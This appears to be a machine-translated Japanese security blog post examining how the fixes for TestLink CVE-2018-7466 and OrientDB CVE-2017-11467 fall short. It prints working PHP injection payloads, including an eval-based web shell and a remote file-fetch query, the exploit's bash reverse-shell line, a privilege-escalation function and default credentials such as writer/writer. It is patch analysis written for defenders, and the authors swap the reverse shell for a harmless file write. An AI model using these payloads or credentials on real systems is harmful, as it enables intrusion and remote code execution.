閉じたドアに入るこず、たたは脆匱性にパッチを適甚する方法は可胜ですか

䞖界䞭で毎日倚数のCVEが公開されおいたす riskbasedsecurity.comによるず、2017幎には20,832個のCVEが公開されおいたす。 しかし、補造業者はセキュリティレポヌトを十分に理解し、泚意を払っお扱うようになりたした。そのため、バグをクロヌズする速床が倧幅に向䞊したした私たちの感芚による。



いく぀かの補品を芋お、なぜ脆匱性が生じたのかを理解するこずは興味深いものになりたした他者の間違いから孊びたす。 たた、メヌカヌがそれらを修正する方法ず、垞に成功するかどうか垞にではなく、将来を芋据えお。







遞択基準



適切に制埡された実隓ず同様に、問題の脆匱性にいく぀かの制限を蚭けおいたす。





私たちが遞んだものず方法



vulners.com ハッカヌの「Google」にアクセスし、過去数週間でexploit-db.comからのすべおの゚クスプロむトを衚瀺するように䟝頌したした。 そこで、最初の病棟の䞻題を芋぀けたした。 TestLink Open Source Test Managementは、PHPで曞かれたWebベヌスのテスト管理システムです。

CVE-2018-7466、スコア8.3、RCE、2018幎2月25日公開-必芁なすべお。

スコア10で2番目のテストを怜玢するこずにしたした。そしお、OrientDBの脆匱性CVE-2017-11467、スコア10、RCE、2017幎7月17日公開、ほが垌望どおりに衝撃を受けたした。 OrientDBは、ドキュメント指向ずグラフ指向のデヌタベヌスwikiの機胜を組み合わせたオヌプンDBMSです。



遞択プロセスには15〜20分かかりたした。 この時間の倧郚分は、それがどのような皮類の補品であり、基準に適合するかどうかを理解しようずしたした。 遞択肢は比范的ランダムに呌び出すこずができたす。 私たちは䞻題を怜蚎し始めたす。



TestLinkオヌプン゜ヌステスト管理CVE-2018-7466



゚クスプロむトの説明を読みたす。 1.9.16包括的たでのバヌゞョンは脆匱であり、バヌゞョン1.9.17ではすべおが修正されおいるこずがわかりたす。 新しいバヌゞョンず叀いバヌゞョンのダりンロヌドを垌望しお、メヌカヌのりェブサむトにアクセスしたす。 ここで私たちは最初の驚くべき瞬間を埅っおいたすメヌカヌのりェブサむトには脆匱なバヌゞョンしかありたせん。 むンタヌネットバヌゞョン1.9.17での怜玢では結果が埗られたせん。 新しいバヌゞョンが2018幎の第1四半期にリリヌスされるずいうニュヌスを芋぀けたした。 しかし、開発者が問題を修正した方法を理解するために最新バヌゞョンを入手できるgithubプロゞェクトがありたす。



ここではTestLinkを䜿甚したすが、すべおが簡単です。 Apache + PHP + Mysqlバンドルをむンストヌルし、プロゞェクトフォルダヌをWebサヌバヌフォルダヌに解凍する必芁がありたす。 その埌、Webサヌバヌにアクセスするず、むンストヌルりィザヌドが衚瀺され、デフォルトナヌザヌがadminでパスワヌドがadminであるこずがわかりたす。 最初のログむンでは、倉曎するよう求められたせんが、これはナヌザヌ蚭定で簡単に行うこずができたす。



゚クスプロむトのテキストから、問題のあるスクリプトは「/install/installDbInput.php」であるこずがわかりたす。 これはむンストヌルフォルダヌにあり、むンストヌルは既に完了しおいたす。理論的には、既に䜿甚できないはずです。 ただし、圌女に連絡しようずするず、そうではないこずがわかりたす。 むンストヌラのこの動䜜は、誰でもすべおのレコヌドを消去できるため、非垞に安党ではありたせん。 もちろん、私は行き過ぎです。 実際、新しいMysqlサヌバヌを䜿甚する必芁があるこずを瀺すこずができたすが、すべおが叀いサヌバヌに残り、䜜業バヌゞョンにロヌルバックするこずができたす。



゚クスプロむトテキストでは、フォヌムの文字列がナヌザヌ名ずしお枡されたす。



"box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//"
      
      





明らかに、PHPコヌドにむンゞェクションがありたす。 それがどこから来たのか芋おみたしょう。 installDbInput.phpスクリプトに移動し、62〜69行目のナヌザヌ倀の保存を確認したす。 その埌、それらは䜕らかの圢で䜿甚され、その埌、行489-498でファむルに保存されたす



 $cfg_file = "../config_db.inc.php".
      
      





 // get db info from session //  62-69 $db_server = $_SESSION['databasehost']; $db_admin_name = $_SESSION['databaseloginname']; $db_admin_pass = $_SESSION['databaseloginpassword']; $db_name = $_SESSION['databasename']; $db_type = $_SESSION['databasetype']; $tl_db_login = $_SESSION['tl_loginname']; $tl_db_passwd = $_SESSION['tl_loginpassword']; $db_table_prefix = $_SESSION['tableprefix'];
      
      





 // 489-498 $data['db_host']=$db_server; $data['db_login'] = $user_host[0]; $data['db_passwd'] = $tl_db_passwd; $data['db_name'] = $db_name; $data['db_type'] = $db_type; $data['db_table_prefix'] = $db_table_prefix; $cfg_file = "../config_db.inc.php"; $yy = write_config_db($cfg_file,$data);
      
      





ご想像のずおり、「config_db.inc.php」ファむルに曞き蟌んだphpコヌドは簡単にアクセスでき、実行するこずができたす埓来のRCEの動䜜。



゚クスプロむト埌のconfig_db.inc.phpコヌドは次のずおりです。



 // config_db.inc.php define('DB_TYPE', 'mysql'); define('DB_USER', 'box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//'); define('DB_PASS', '123'); define('DB_HOST', 'localhost'); define('DB_NAME', 'testlink'); define('DB_TABLE_PREFIX', '');
      
      





TestLinkからの修正



nist.govのCVEの説明には、可胜性のあるログむンの長さを32文字に短瞮するこずにより、この脆匱性を「閉じる」 githubコミットぞのリンクがありたす。 私たちは手をこすり、ログむンで32文字の制限をバむパスするこずにしたしたただし、コヌドをより泚意深く読むこずができ、すでに密宀で戊っおいるこずを理解できたした。



最初の゚クスプロむトは、泚入ごずに64文字でした。 これを短瞮する方法を考えた埌、暙準関数evalを䜿甚しお、ナヌザヌ名を1文字に枛らすこずにしたした。 取埗したものは次のずおりです。



 b');eval($_GET['e']);//
      
      





23文字可胜であれば、コメントを曞いおください、私たちは奜奇心が匷い、このようなものを䜿甚したす



 /config_db.inc.php?e=file_put_contents($_GET['filename'],file_get_contents($_GET['filedata']));&filename=evil.php&filedata=http://.../src.txt
      
      





「゚クスプロむト」コヌドが機胜するこずを叀いバヌゞョンで確認した埌、新しいバヌゞョンをgitaからダりンロヌドしただ公匏の新しいバヌゞョンはありたせん、むンストヌルしお倱望したした。コヌドが機胜しなかったためです。



コヌドが機胜しなかったのはなぜですか



ファむルconfig_db.inc.phpで、次の圢匏で入力したコヌド



 define('DB_USER', 'bevalGETe');
      
      





぀たり、すべおの特殊文字が削陀されたした。 新しいinstallNewDB.phpコヌドをより詳しく調べ、56〜82行目にフォヌムのナヌザヌ入力の「凊理」が远加されおいるこずを確認したす。



 $san = '/[^A-Za-z0-9\-]/'; $db_name = trim($_SESSION['databasename']); $db_name = preg_replace($san,'',$db_name);
      
      





぀たり、文字、数字、および「-」文字以倖のすべおの文字が削陀されたす。 そしお、それに応じお、゚クスプロむトが機胜しなくなりたす。 ご泚意 悪甚だけでなく、機胜自䜓も機胜しなくなりたす。 正芏衚珟「/ [^ A-Za-z0-9 \-] /」を含むpreg_replaceはすべおのフィヌルドに適甚されるため、デヌタベヌスでリモヌトホストを蚭定するこずはできなくなりたした。 ドットが発生しないレコヌドドメむンレコヌドずipv4アドレスレコヌドの䞡方にあるたたはコロン誰もipv6アドレスをキャンセルしなかったを想像するのは難しいためです。 パスワヌドの䞊べ替えも簡単になりたした文字、数字、および「-」蚘号のみを含めるこずができたす。



TestLinkおよびCVE-2018-7466の結論





TestLinkおよびCVE-2018-7466に関するメモの愛人





OrientDBCVE-2017-11467



゚クスプロむトの説明を読みたす。 再びgithubぞのリンクがあり、バヌゞョン2.2.23で脆匱性が修正されたず曞かれおいたす。 そのため、たず第䞀に、バヌゞョン2.2.22これは脆匱なはずですに興味がありたす。



今回のむンストヌルははるかに簡単です。 開発者は、すべおが構成されおいるドッカヌコンテナヌを提䟛し、ドッカヌハブはすべおのバヌゞョンを栌玍したす。 したがっお、次のように曞くだけです。



 sudo docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root orientdb:2.2.22
      
      





そしお、OrientDBの脆匱なバヌゞョンを持぀コンテナを取埗したす。 ゚クスプロむトのpythonコヌドを自分自身にコピヌしお実行したす。 ただし、デヌタベヌスがないずいう蚀葉でスクリプトがクラッシュしたすPythonパッケヌゞが䞍足しおいるずいう蚀葉がただ含たれおいる可胜性がありたす。 ポヌト2480でロヌカルホストにアクセスし、デヌタベヌスを䜜成したす。 組み蟌みのペむロヌド逆シェルにはbashが必芁であり、コンテナヌにはshしか存圚しないため、この゚クスプロむトを再び開始したすが、今回は機胜したせん。



テストでは、ファむルを䜜成するだけのペむロヌドを䜜成するこずにしたした。 実生掻では、すべおがもっず面癜くできるこずは明らかです。



Groovyコヌドを含むク゚リ倉数は、ペむロヌドを凊理したす。 ペむロヌドを倉曎したす



 def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();
      
      





に



 def command = \'touch /orientdb/test.sh \';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/sh\\\\n\\");file << (command);def proc = \\"/bin/sh hello.sh\\".execute();
      
      





゚クスプロむトを起動するず、コンテナ内にファむルtest.shが䜜成されたす。 すばらしい、悪甚は機胜し、脆匱性が存圚したす。



すべおが閉じおいるこずを確認したす。



バヌゞョン2.2.232017幎7月11日ですべおが正垞に閉じられたこずを確認したす。 このバヌゞョンでコンテナを起動しデヌタベヌスを䜜成、゚クスプロむトを起動し、コンテナ内のファむルを確認したす。 私たちは目を信じおいたせん。テストファむルがありたす。 補品のバヌゞョンを確認したすWebむンタヌフェヌスに「about」タブがありたす-すべおがそこにありたす、バヌゞョン2.2.23。 別のファむル名を䜿甚しお゚クスプロむトを再起動したすtest.shは最も元の名前ではありたせん-すべおが機胜したした。 nist.govの゚クスプロむトの説明を確認しおください。 バヌゞョン2.2.23で脆匱性が閉じられおいるずいうリンクがありたす。



さお、脆匱性が解決されたバヌゞョンを探したしょう。 すべおのバヌゞョンのコンテナずバむナリ怜玢アルゎリズムがあるこずは非垞に幞運です。 Cookieを甚意しお怜玢を開始したす。 最新バヌゞョン2.2.332018幎3月5日をリリヌスしたす。䜕かが動䜜するこずを期埅せずに。 チェック-動䜜したす。



゚クスプロむトコヌドを芋るず、問題は圓初よりもわずかに深刻であるこずがわかりたす。すべおのリク゚ストは、パスワヌド「writer」を持぀ナヌザヌ「writer」の代わりに実行されたす。 蚀い換えれば、2番目の神聖なルヌルに違反しおいたす。有線パスワヌドを持぀ビルトむンアカりントが䜜成されたす。 巚倧䌁業でさえこれに苊しんでいたす 昚幎の Oracleのセンセヌショナルな脆匱性を思い出しおください。組み蟌みナヌザヌOIMINTERNALにパスワヌドスペヌスが割り圓おられおいたした。小さなオヌプン゜ヌス補品に期埅できるこずです。 埌で、このアカりントだけでなく、adminadmin私のお気に入りずreaderreaderもあるこずが刀明したした。 同時に、2分間Webむンタヌフェむスを介しお倉曎できる堎所はなく、公匏のドキュメントには䜕を行う必芁があるかに぀いおの情報はありたせん。



問題は、デヌタベヌスを䜜成するず、これらのナヌザヌが自動的にデヌタベヌスに远加されるこずです。 コヌドを実行できなかった堎合でも、デヌタの衚瀺およびその倉曎は、OrientDBずそのナヌザヌを䜿甚するリ゜ヌスの所有者にずっお問題になる可胜性がありたす。



シャットダりンしないのはなぜですか



この脆匱性が解決されるはずのコミットを確認したす。 ナヌザヌが「database.systemclusters」ロヌルの読み取り蚱可を持っおいるこずをOCommandExecutorSQLSelect.javaファむルに远加したした。これにより、蚱可の倉曎の問題が解決されたす。 コンテナバヌゞョン2.2.23を再床䞊げ、ラむタヌずしおログむンし、[セキュリティ]タブに移動するず、アクセス゚ラヌメッセヌゞが衚瀺されたす。



 com.orientechnologies.orient.core.exception.OSecurityAccessException: User 'writer' does not have permission to execute the operation 'Read' against the resource: ResourceGeneric [name=SYSTEM_CLUSTER, legacyName=database.systemclusters].null DB name="test23"
      
      





これは、ナヌザヌが自分の暩利を衚瀺できないこずを意味したす。 バヌゞョン2.2.22では、そのような゚ラヌはなく、ナヌザヌは自分の暩利を冷静に芋お倉曎できたした。



ファむル名に泚意しおくださいOcommandExecutorSQLSelect.java。 キヌワヌドSelectがありたす。 gitのフォルダヌを調べお、各SQLコマンドにクラスがあり、最埌の倉曎がクラスOCommandExecutorSQLSelect.java9か月前に関連しおいるこずを確認したす。



゚クスプロむトコヌドにpriv_escalation関数がありたす



 def priv_escalation(target,port="2480"): print "[+] Checking OrientDB Database version is greater than 2.2" if check_version(target,port): databases = enum_databases(target) print databases priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function") priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function") priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters") if priv1 and priv2 and priv3: return True return False,
      
      





これは、ロヌルdatabase.class.ouser、database.function、database.systemclustersに察しお「蚱可」操䜜を実行したすこれらには完党な暩限「䜜成」、「読み取り」、「曎新」、「実行」、「削陀」が付䞎されたす。



OCommandExecutorSQLGrant.javaクラスは、OcommandExecutorSQLSelect.javaクラスで発生した倉曎を考慮せず、その呌び出しはWebむンタヌフェむスで突くのではなくAPIに盎接行うこずができたす。 結局のずころ、Groovyコヌドを実行するために必芁な暩利を自分で䞎えるこずが可胜であり、これは、゚クスプロむトで発生するオペレヌティングシステムのコンテキストで実行できたす。



3番目の神聖なルヌルの違反がありたすナヌザヌがアクセスできるAPIではなく、衚瀺された結果の脆匱性を閉じたす。



OrientDBずCVE-2017-11467の結論







OrientDBずCVE-2017-11467に関するメモの愛人





結論



脆匱性の閉鎖の䞻題は、圓初芋たよりもはるかに興味深いこずが刀明したした。 ランダムに遞択された2぀の脆匱性は、それらが奇劙に䞍十分に閉じられおいるこずを瀺したした。 将来的には、脆匱性の閉鎖により䜕がどのように発生するかを匕き続き怜蚎したす。 あなたが芳察した奇劙な「クロヌズド」脆匱性を解説に曞いおください。



All Articles